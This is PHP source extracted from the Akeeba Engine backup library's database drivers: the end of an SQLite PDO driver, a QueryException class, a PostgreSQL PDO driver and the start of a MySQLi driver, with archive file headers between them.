	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 */
	public static function isSupported()
	{
		return class_exists('\\PDO') && in_array('sqlite', PDO::getAvailableDrivers());
	}

	/**
	 * Destructor.
	 *
	 * @since   1.0
	 */
	public function __destruct()
	{
		$this->freeResult();
		unset($this->connection);
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor))
		{
			$this->cursor->closeCursor();
		}

		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		return !empty($this->connection);
	}

	/**
	 * Disconnects the database.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function disconnect()
	{
		$this->freeResult();
		unset($this->connection);
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $tableName  The name of the database table to drop.
	 * @param   boolean  $ifExists   Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Sqlite  Returns this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function dropTable($tableName, $ifExists = true)
	{
		$this->open();

		$query = $this->getQuery(true);

		$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $query->quoteName($tableName));

		$this->execute();

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQLite statement.
	 *
	 * Note: Using query objects with bound variables is preferable to the below.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Unused optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 *
	 * @since   1.0
	 */
	public function escape($text, $extra = false)
	{
		if (is_int($text) || is_float($text))
		{
			return $text;
		}

		if (is_null($text))
		{
			return 'NULL';
		}

		if (is_object($this->connection))
		{
			return substr($this->connection->quote($text), 1, -1);
		}

		if (class_exists('SQLite3'))
		{
			return SQLite3::escapeString($text);
		}

		return str_replace("'", "''", $text);
	}

	public function fetchAssoc($cursor = null)
	{
		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			return $cursor->fetch(PDO::FETCH_ASSOC);
		}

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->fetch(PDO::FETCH_ASSOC);
		}
	}

	public function freeResult($cursor = null)
	{
		$this->executed = false;

		if ($cursor instanceof PDOStatement)
		{
			$cursor->closeCursor();
			$cursor = null;
		}

		if ($this->prepared instanceof PDOStatement)
		{
			$this->prepared->closeCursor();
			$this->prepared = null;
		}
	}

	public function getAffectedRows()
	{
		$this->open();

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->rowCount();
		}
		else
		{
			return 0;
		}
	}

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database or boolean false if not supported.
	 *
	 * @since   1.0
	 */
	public function getCollation()
	{
		return $this->charset;
	}

	public function getNumRows($cursor = null)
	{
		$this->open();

		if ($cursor instanceof PDOStatement)
		{
			return $cursor->rowCount();
		}
		elseif ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->rowCount();
		}
		else
		{
			return 0;
		}
	}

	/**
	 * Retrieve a PDO database connection attribute
	 * http://www.php.net/manual/en/pdo.getattribute.php
	 *
	 * Usage: $db->getOption(PDO::ATTR_CASE);
	 *
	 * @param   mixed  $key  One of the PDO::ATTR_* Constants
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function getOption($key)
	{
		$this->open();

		return $this->connection->getAttribute($key);
	}

	/**
	 * Get the current query object or a new Query object.
	 * We have to override the parent method since it will always return a PDO query, while we have a
	 * specialized class for SQLite
	 *
	 * @param   boolean  $new  False to return the current query object, True to return a new Query object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the Query class.
	 *
	 * @throws  RuntimeException
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new Query\Sqlite($this);
		}

		return $this->sql;
	}

	public function createQuery()
	{
		return new Query\Sqlite($this);
	}

	/**
	 * Retrieves field information about a given table.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True to only return field types.
	 *
	 * @return  array  An array of fields for the database table.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableColumns($table, $typeOnly = true)
	{
		$this->open();

		$columns = [];
		$query   = $this->getQuery(true);

		$fieldCasing = $this->getOption(PDO::ATTR_CASE);

		$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);

		$table = strtoupper($table);

		$query->setQuery('pragma table_info(' . $table . ')');

		$this->setQuery($query);
		$fields = $this->loadObjectList();

		if ($typeOnly)
		{
			foreach ($fields as $field)
			{
				$columns[$field->NAME] = $field->TYPE;
			}
		}
		else
		{
			foreach ($fields as $field)
			{
				// Do some dirty translation to MySQL output.
				$columns[$field->NAME] = (object) [
					'Field'   => $field->NAME,
					'Type'    => $field->TYPE,
					'Null'    => ($field->NOTNULL == '1' ? 'NO' : 'YES'),
					'Default' => $field->DFLT_VALUE,
					'Key'     => ($field->PK == '1' ? 'PRI' : ''),
				];
			}
		}

		$this->setOption(PDO::ATTR_CASE, $fieldCasing);

		return $columns;
	}

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * Note: Doesn't appear to have support in SQLite
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableCreate($tables)
	{
		$this->open();

		// Sanitize input to an array and iterate over the list.
		$tables = (array) $tables;

		return $tables;
	}

	/**
	 * Get the details list of keys for a table.
	 *
	 * @param   string  $table  The name of the table.
	 *
	 * @return  array  An array of the column specification for the table.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableKeys($table)
	{
		$this->open();

		$keys  = [];
		$query = $this->getQuery(true);

		$fieldCasing = $this->getOption(PDO::ATTR_CASE);

		$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);

		$table = strtoupper($table);
		$query->setQuery('pragma table_info( ' . $table . ')');

		// $query->bind(':tableName', $table);

		$this->setQuery($query);
		$rows = $this->loadObjectList();

		foreach ($rows as $column)
		{
			if ($column->PK == 1)
			{
				$keys[$column->NAME] = $column;
			}
		}

		$this->setOption(PDO::ATTR_CASE, $fieldCasing);

		return $keys;
	}

	/**
	 * Method to get an array of all tables in the database (schema).
	 *
	 * @return  array   An array of all the tables in the database.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableList()
	{
		$this->open();

		/* @type  Query\Sqlite $query */
		$query = $this->getQuery(true);

		$type = 'table';

		$query->select('name');
		$query->from('sqlite_master');
		$query->where('type = :type');
		$query->bind(':type', $type);
		$query->order('name');

		$this->setQuery($query);

		$tables = $this->loadColumn();

		return $tables;
	}

	/**
	 * There's no point on return "a list of tables" inside a SQLite database: we are simple going to
	 * copy the whole database file in the new location
	 *
	 * @param   bool  $abstract
	 *
	 * @return array
	 */
	public function getTables($abstract = true)
	{
		return [];
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 *
	 * @since   1.0
	 */
	public function getVersion()
	{
		$this->open();

		$this->setQuery("SELECT sqlite_version()");

		return $this->loadResult();
	}

	public function insertid()
	{
		$this->open();

		// Error suppress this to prevent PDO warning us that the driver doesn't support this operation.
		return @$this->connection->lastInsertId();
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $table  The name of the table to unlock.
	 *
	 * @return  Sqlite Returns this object to support chaining.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function lockTable($table)
	{
		return $this;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		if (isset($this->options['version']) && $this->options['version'] == 2)
		{
			$format = 'sqlite2:#DBNAME#';
		}
		else
		{
			$format = 'sqlite:#DBNAME#';
		}

		$replace = ['#DBNAME#'];
		$with    = [$this->options['database']];

		// Create the connection string:
		$connectionString = str_replace($replace, $with, $format);

		try
		{
			$this->connection = new PDO(
				$connectionString,
				$this->options['user'],
				$this->options['password']
			);
		}
		catch (PDOException $e)
		{
			throw new RuntimeException('Could not connect to PDO' . ': ' . $e->getMessage(), 2, $e);
		}
	}

	public function query()
	{
		$this->open();

		if (!is_object($this->connection))
		{
			throw new RuntimeException($this->errorMsg, $this->errorNum);
		}

		// Take a local copy so that we don't modify the original query and cause issues later
		$sql = $this->replacePrefix((string) $this->sql);

		if ($this->limit > 0 || $this->offset > 0)
		{
			$sql .= ' LIMIT ' . $this->limit;

			if ($this->offset > 0)
			{
				$sql .= ' OFFSET ' . $this->offset;
			}
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $sql;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query.
		$this->executed = false;

		if ($this->prepared instanceof PDOStatement)
		{
			// Bind the variables:
			if ($this->sql instanceof Preparable)
			{
				$bounded =& $this->sql->getBounded();

				foreach ($bounded as $key => $obj)
				{
					$this->prepared->bindParam($key, $obj->value, $obj->dataType, $obj->length, $obj->driverOptions);
				}
			}

			$this->executed = $this->prepared->execute();
		}

		// If an error occurred handle it.
		if (!$this->executed)
		{
			// Get the error number and message before we execute any more queries.
			$errorNum = (int) $this->connection->errorCode();
			$errorMsg = (string) 'SQL: ' . implode(", ", $this->connection->errorInfo());

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
				catch (RuntimeException $e)
					// If connect fails, ignore that exception and throw the normal exception.
				{
					// Get the error number and message.
					$this->errorNum = (int) $this->connection->errorCode();
					$this->errorMsg = (string) 'SQL: ' . implode(", ", $this->connection->errorInfo());

					// Throw the normal query exception.
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			else
				// The server was not disconnected.
			{
				// Get the error number and message from before we tried to reconnect.
				$this->errorNum = $errorNum;
				$this->errorMsg = $errorMsg;

				// Throw the normal query exception.
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->prepared;
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Not used by Sqlite.
	 * @param   string  $prefix    Not used by Sqlite.
	 *
	 * @return  Sqlite Returns this object to support chaining.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		$this->setQuery('ALTER TABLE ' . $oldTable . ' RENAME TO ' . $newTable)->execute();

		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function select($database)
	{
		$this->open();

		$this->_database = $database;

		return true;
	}

	/**
	 * Sets an attribute on the PDO database handle.
	 * http://www.php.net/manual/en/pdo.setattribute.php
	 *
	 * Usage: $db->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
	 *
	 * @param   integer  $key    One of the PDO::ATTR_* Constants
	 * @param   mixed    $value  One of the associated PDO Constants
	 *                           related to the particular attribute
	 *                           key.
	 *
	 * @return boolean
	 *
	 * @since  1.0
	 */
	public function setOption($key, $value)
	{
		$this->open();

		return $this->connection->setAttribute($key, $value);
	}

	/**
	 * Sets the SQL statement string for later execution.
	 *
	 * @param   mixed    $query          The SQL statement to set either as a JDatabaseQuery object or a string.
	 * @param   integer  $offset         The affected row offset to set.
	 * @param   integer  $limit          The maximum affected rows to set.
	 * @param   array    $driverOptions  The optional PDO driver options
	 *
	 * @return  Base  This object to support method chaining.
	 *
	 * @since   1.0
	 */
	public function setQuery($query, $offset = null, $limit = null, $driverOptions = [])
	{
		$this->open();

		$this->freeResult();

		if (is_string($query))
		{
			// Allows taking advantage of bound variables in a direct query:
			$query = $this->getQuery(true)->setQuery($query);
		}

		if ($query instanceof Limitable && !is_null($offset) && !is_null($limit))
		{
			$query->setLimit($limit, $offset);
		}

		$sql = $this->replacePrefix((string) $query);

		$this->prepared = $this->connection->prepare($sql, $driverOptions);

		// Store reference to the DatabaseQuery instance:
		parent::setQuery($query, $offset, $limit);

		return $this;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * Returns false automatically for the Oracle driver since
	 * you can only set the character set when the connection
	 * is created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0
	 */
	public function setUTF()
	{
		$this->open();

		return false;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @param   boolean  $toSavepoint  If true, commit to the last savepoint.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function transactionCommit($toSavepoint = false)
	{
		$this->open();

		if (!$toSavepoint || $this->transactionDepth <= 1)
		{
			$this->open();

			if (!$toSavepoint || $this->transactionDepth == 1)
			{
				$this->connection->commit();
			}

			$this->transactionDepth--;
		}
		else
		{
			$this->transactionDepth--;
		}
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @param   boolean  $toSavepoint  If true, rollback to the last savepoint.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function transactionRollback($toSavepoint = false)
	{
		$this->connected();

		if (!$toSavepoint || $this->transactionDepth <= 1)
		{
			$this->open();

			if (!$toSavepoint || $this->transactionDepth == 1)
			{
				$this->connection->rollBack();
			}

			$this->transactionDepth--;
		}
		else
		{
			$savepoint = 'SP_' . ($this->transactionDepth - 1);
			$this->setQuery('ROLLBACK TO ' . $this->quoteName($savepoint));

			if ($this->execute())
			{
				$this->transactionDepth--;
			}
		}
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @param   boolean  $asSavepoint  If true and a transaction is already active, a savepoint will be created.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function transactionStart($asSavepoint = false)
	{
		$this->connected();

		if (!$asSavepoint || !$this->transactionDepth)
		{
			$this->open();

			if (!$asSavepoint || !$this->transactionDepth)
			{
				$this->connection->beginTransaction();
			}

			$this->transactionDepth++;
		}
		else
		{
			$savepoint = 'SP_' . $this->transactionDepth;
			$this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint));

			if ($this->execute())
			{
				$this->transactionDepth++;
			}
		}
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Sqlite Returns this object to support chaining.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function unlockTables()
	{
		return $this;
	}

	protected function fetchArray($cursor = null)
	{
		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			return $cursor->fetch(PDO::FETCH_NUM);
		}

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->fetch(PDO::FETCH_NUM);
		}
	}

	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			return $cursor->fetchObject($class);
		}

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->fetchObject($class);
		}
	}
}
PK     \#    5  vendor/akeeba/engine/engine/Driver/QueryException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Exception;

class QueryException extends Exception
{
}
PK     \8:6  6  1  vendor/akeeba/engine/engine/Driver/Postgresql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see 
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Postgresql as QueryPostgresql;
use PDO;
use PDOException;
use PDOStatement;
use ReflectionClass;
use RuntimeException;
use Throwable;

/**
 * PDO PostgreSQL database driver for Akeeba Engine
 */
#[\AllowDynamicProperties]
class Postgresql extends Base
{
	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 */
	public $name = 'postgresql';

	/** @var string Connection character set */
	protected $charset = 'UTF8';

	/** @var PDO The db connection resource */
	protected $connection = null;

	/** @var PDOStatement The database connection cursor from the last query. */
	protected $cursor;

	/** @var array Driver options for PDO */
	protected $driverOptions = [];

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$this->driverType = 'postgresql';

		// Init
		$this->nameQuote = '"';

		// Open the connection
		$this->host           = $options['host'] ?? 'localhost';
		$this->user           = $options['user'] ?? '';
		$this->password       = $options['password'] ?? '';
		$this->port           = ($options['port'] ?? 5432) ?: 5432;
		$this->_database      = $options['database'] ?? '';
		$this->selectDatabase = $options['select'] ?? true;

		$this->charset       = $options['charset'] ?? 'UTF8';
		$this->driverOptions = $options['driverOptions'] ?? [];
		$this->tablePrefix   = $options['prefix'] ?? '';
		$this->connection    = $options['connection'] ?? null;
		$this->errorNum      = 0;
		$this->count         = 0;
		$this->log           = [];
		$this->options       = $options;

		if (!is_object($this->connection))
		{
			$this->open();
		}
	}

	/**
	 * Test to see if the PostgreSQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 */
	public static function isSupported()
	{
		if (!defined('\PDO::ATTR_DRIVER_NAME'))
		{
			return false;
		}

		return in_array('pgsql', PDO::getAvailableDrivers());
	}

	/**
	 * PDO does not support serialize
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		$serializedProperties = [];

		$reflect = new ReflectionClass($this);

		// Get properties of the current class
		$properties = $reflect->getProperties();

		foreach ($properties as $property)
		{
			// Do not serialize properties that are \PDO
			if (!$property->isStatic() && !($this->{$property->name} instanceof PDO))
			{
				$serializedProperties[] = $property->name;
			}
		}

		return $serializedProperties;
	}

	/**
	 * Wake up after serialization
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		// Get connection back
		$this->__construct($this->options);
	}

	/**
	 * Quote a value as a hex string.
	 *
	 * @param   string  $text  The value to quote as hex.
	 *
	 * @return  string  The hex-quoted value.
	 * @since   10.3
	 */
	public function quoteHex(string $text): string
	{
		return "'\\x" . bin2hex($text) . "'";
	}

	/**
	 * Replaces the table prefix in identifiers, excluding string literals and comments.
	 *
	 * @param   string  $sql     The SQL statement to prepare.
	 * @param   string  $prefix  The common table prefix.
	 *
	 * @return  string  The processed SQL statement.
	 * @since   10.3
	 */
	public function replacePrefix($sql, $prefix = '#__')
	{
		$sql = trim((string) $sql);
		$n   = strlen($sql);
		$out = '';
		$i   = 0;
		$pl  = strlen($prefix);

		while ($i < $n)
		{
			$ch = $sql[$i];

			// Skip single-quoted literals
			if ($ch === "'")
			{
				$out .= $ch;
				$i++;

				while ($i < $n)
				{
					$ch = $sql[$i];
					$out .= $ch;
					$i++;

					if ($ch === "'")
					{
						if ($i < $n && $sql[$i] === "'")
						{
							$out .= $sql[$i];
							$i++;
							continue;
						}

						break;
					}
				}

				continue;
			}

			// Skip dollar-quoted literals
			if ($ch === '$')
			{
				$j = $i + 1;

				while ($j < $n)
				{
					$c = $sql[$j];
					if (($c >= 'a' && $c <= 'z') || ($c >= 'A' && $c <= 'Z') || ($c >= '0' && $c <= '9') || $c === '_')
					{
						$j++;
						continue;
					}
					break;
				}

				if ($j < $n && $sql[$j] === '$')
				{
					$tag = substr($sql, $i, $j - $i + 1);
					$k   = strpos($sql, $tag, $j + 1);

					if ($k !== false)
					{
						$out .= substr($sql, $i, $k - $i + strlen($tag));
						$i = $k + strlen($tag);
						continue;
					}
				}
			}

			// Skip line comments
			if ($ch === '-' && ($i + 1 < $n) && $sql[$i + 1] === '-')
			{
				$k = strpos($sql, "\n", $i + 2);
				if ($k === false)
				{
					$out .= substr($sql, $i);
					break;
				}

				$out .= substr($sql, $i, $k - $i + 1);
				$i = $k + 1;
				continue;
			}

			// Skip block comments
			if ($ch === '/' && ($i + 1 < $n) && $sql[$i + 1] === '*')
			{
				$k = strpos($sql, '*/', $i + 2);
				if ($k === false)
				{
					$out .= substr($sql, $i);
					break;
				}

				$out .= substr($sql, $i, $k - $i + 2);
				$i = $k + 2;
				continue;
			}

			// Replace prefix in identifiers and other SQL tokens (not in literals/comments)
			if ($pl > 0 && substr($sql, $i, $pl) === $prefix)
			{
				$out .= $this->tablePrefix;
				$i   += $pl;
				continue;
			}

			$out .= $ch;
			$i++;
		}

		return $out;
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor))
		{
			try
			{
				$this->cursor->closeCursor();
			}
			catch (Throwable $e)
			{
			}

			$this->cursor = null;
		}

		if (is_object($this->connection))
		{
			$this->connection = null;
			$return           = true;
		}

		return $return;
	}

	public function connected()
	{
		if (is_object($this->connection))
		{
			try
			{
				$this->connection->query('SELECT 1');

				return true;
			}
			catch (PDOException $e)
			{
			}
		}

		return false;
	}

	public function escape($text, $extra = false)
	{
		if (is_object($this->connection))
		{
			$result = substr($this->connection->quote($text), 1, -1);
		}
		else
		{
			$result = str_replace("'", "''", $text);
		}

		if ($extra)
		{
			$result = addcslashes($result, '%_');
		}

		return $result;
	}

	public function fetchAssoc($cursor = null)
	{
		$cursor = $cursor ?: $this->cursor;

		if (is_object($cursor))
		{
			return $cursor->fetch(PDO::FETCH_ASSOC);
		}

		return null;
	}

	public function freeResult($cursor = null)
	{
		$cursor = $cursor ?: $this->cursor;

		if (is_object($cursor))
		{
			$cursor->closeCursor();
		}
	}

	public function getAffectedRows()
	{
		if (is_object($this->cursor))
		{
			return $this->cursor->rowCount();
		}

		return 0;
	}

	public function getNumRows($cursor = null)
	{
		$cursor = $cursor ?: $this->cursor;

		if (is_object($cursor))
		{
			return $cursor->rowCount();
		}

		return 0;
	}

	public function getQuery($new = false)
	{
		if ($new || empty($this->sql))
		{
			return new QueryPostgresql($this);
		}

		return $this->sql;
	}

	public function createQuery()
	{
		return new QueryPostgresql($this);
	}

	public function getVersion()
	{
		return $this->connection->getAttribute(PDO::ATTR_SERVER_VERSION);
	}

	public function hasUTF()
	{
		return true;
	}

	public function insertid()
	{
		return $this->connection->lastInsertId();
	}

	public function loadNextObject($class = 'stdClass')
	{
		if ($row = $this->fetchObject($this->cursor, $class))
		{
			return $row;
		}

		$this->freeResult();

		return false;
	}

	public function loadNextRow()
	{
		if ($row = $this->fetchArray($this->cursor))
		{
			return $row;
		}

		$this->freeResult();

		return false;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		$dsn = "pgsql:host={$this->host};port={$this->port};dbname={$this->_database}";

		if (!empty($this->options['schema']))
		{
			$dsn .= ";options='--search_path=" . addslashes((string)$this->options['schema']) . "'";
		}

		try
		{
			$this->connection = new PDO(
				$dsn,
				$this->user,
				$this->password,
				$this->driverOptions
			);
		}
		catch (PDOException $e)
		{
			$this->errorNum = 2;
			$this->errorMsg = 'Could not connect to PostgreSQL via PDO: ' . $e->getMessage();

			return;
		}

		$this->connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		$this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

		if (!empty($this->charset))
		{
			$this->connection->exec("SET client_encoding TO " . $this->connection->quote($this->charset));
		}

		$this->freeResult();
	}

	public function query()
	{
		if (!is_object($this->connection))
		{
			$this->open();
		}

		$this->freeResult();

		// Take a local copy so that we don't modify the original query and cause issues later
		$query = $this->replacePrefix((string)$this->sql);

		// Apply query limit and offset, if specified
		if ($this->limit > 0 || $this->offset > 0)
		{
			if ($this->limit > 0)
			{
				$query .= ' LIMIT ' . $this->limit;
			}

			if ($this->offset > 0)
			{
				$query .= ' OFFSET ' . $this->offset;
			}
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $query;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost.
		try
		{
			$this->cursor = $this->connection->query($query);
		}
		catch (Throwable $e)
		{
		}

		// If an error occurred handle it.
		if (!$this->cursor)
		{
			$errorInfo      = $this->connection->errorInfo();
			$this->errorNum = $errorInfo[1];
			$this->errorMsg = $errorInfo[2] . ' SQL=' . $query;

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
					// If connect fails, ignore that exception and throw the normal exception.
				catch (RuntimeException $e)
				{
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			// The server was not disconnected.
			else
			{
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->cursor;
	}

	public function select($database)
	{
		$this->_database = $database;
		$this->open();

		return true;
	}

	public function setUTF()
	{
		$this->connection->exec("SET client_encoding TO 'UTF8'");
	}

	public function transactionCommit()
	{
		$this->connection->commit();
	}

	public function transactionRollback()
	{
		$this->connection->rollBack();
	}

	public function transactionStart()
	{
		$this->connection->beginTransaction();
	}

	public function fetchArray($cursor = null)
	{
		$cursor = $cursor ?: $this->cursor;

		if (is_object($cursor))
		{
			return $cursor->fetch(PDO::FETCH_NUM);
		}

		return null;
	}

	public function fetchObject($cursor = null, $class = 'stdClass')
	{
		$cursor = $cursor ?: $this->cursor;

		if (is_object($cursor))
		{
			return $cursor->fetchObject($class);
		}

		return null;
	}

	public function getTableList()
	{
		$schema = $this->options['schema'] ?? 'public';
		$this->setQuery('SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname = ' . $this->quote($schema));

		return $this->loadColumn();
	}

	public function getTableColumns($table, $typeOnly = true)
	{
		$table  = $this->replacePrefix($table);
		$schema = $this->options['schema'] ?? 'public';
		$sql    = "SELECT column_name, data_type 
				FROM information_schema.columns 
				WHERE table_schema = " . $this->quote($schema) . " 
				AND table_name = " . $this->quote($table);
		$this->setQuery($sql);
		$fields = $this->loadObjectList();

		if ($typeOnly)
		{
			$result = [];
			foreach ($fields as $field)
			{
				$result[$field->column_name] = $field->data_type;
			}

			return $result;
		}

		return $fields;
	}

	public function dropTable($table, $ifExists = true)
	{
		$query = 'DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $this->quoteName($table);
		$this->setQuery($query)->execute();
	}

	public function getCollation()
	{
		$this->setQuery("SELECT datcollate FROM pg_database WHERE datname = " . $this->quote($this->_database));

		return $this->loadResult();
	}

	public function getTableCreate($tables)
	{
		return [];
	}

	public function getTableKeys($tables)
	{
		return [];
	}

	public function getTables($abstract = true)
	{
		$tables = $this->getTableList();
		$result = [];
		foreach ($tables as $table)
		{
			$name          = $abstract ? $this->getAbstract($table) : $table;
			$result[$name] = 'table';
		}

		return $result;
	}

	public function lockTable($tableName)
	{
		$this->setQuery('LOCK TABLE ' . $this->quoteName($tableName) . ' IN SHARE MODE')->execute();
	}

	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		$query = 'ALTER TABLE ' . $this->quoteName($oldTable) . ' RENAME TO ' . $this->quoteName($newTable);
		$this->setQuery($query)->execute();
	}

	public function unlockTables()
	{
		return $this;
	}
}
PK     \`:q  :q  -  vendor/akeeba/engine/engine/Driver/Mysqli.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Mysqli as QueryMysqli;
use Akeeba\Engine\Factory;
use Akeeba\Engine\FixMySQLHostname;
use Exception;
use mysqli_result;
use RuntimeException;

/**
 * MySQL Improved (mysqli) database driver for Akeeba Engine
 *
 * Based on Joomla! Platform 11.2
 */
#[\AllowDynamicProperties]
class Mysqli extends Base
{
	use FixMySQLHostname;

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $name = 'mysqli';

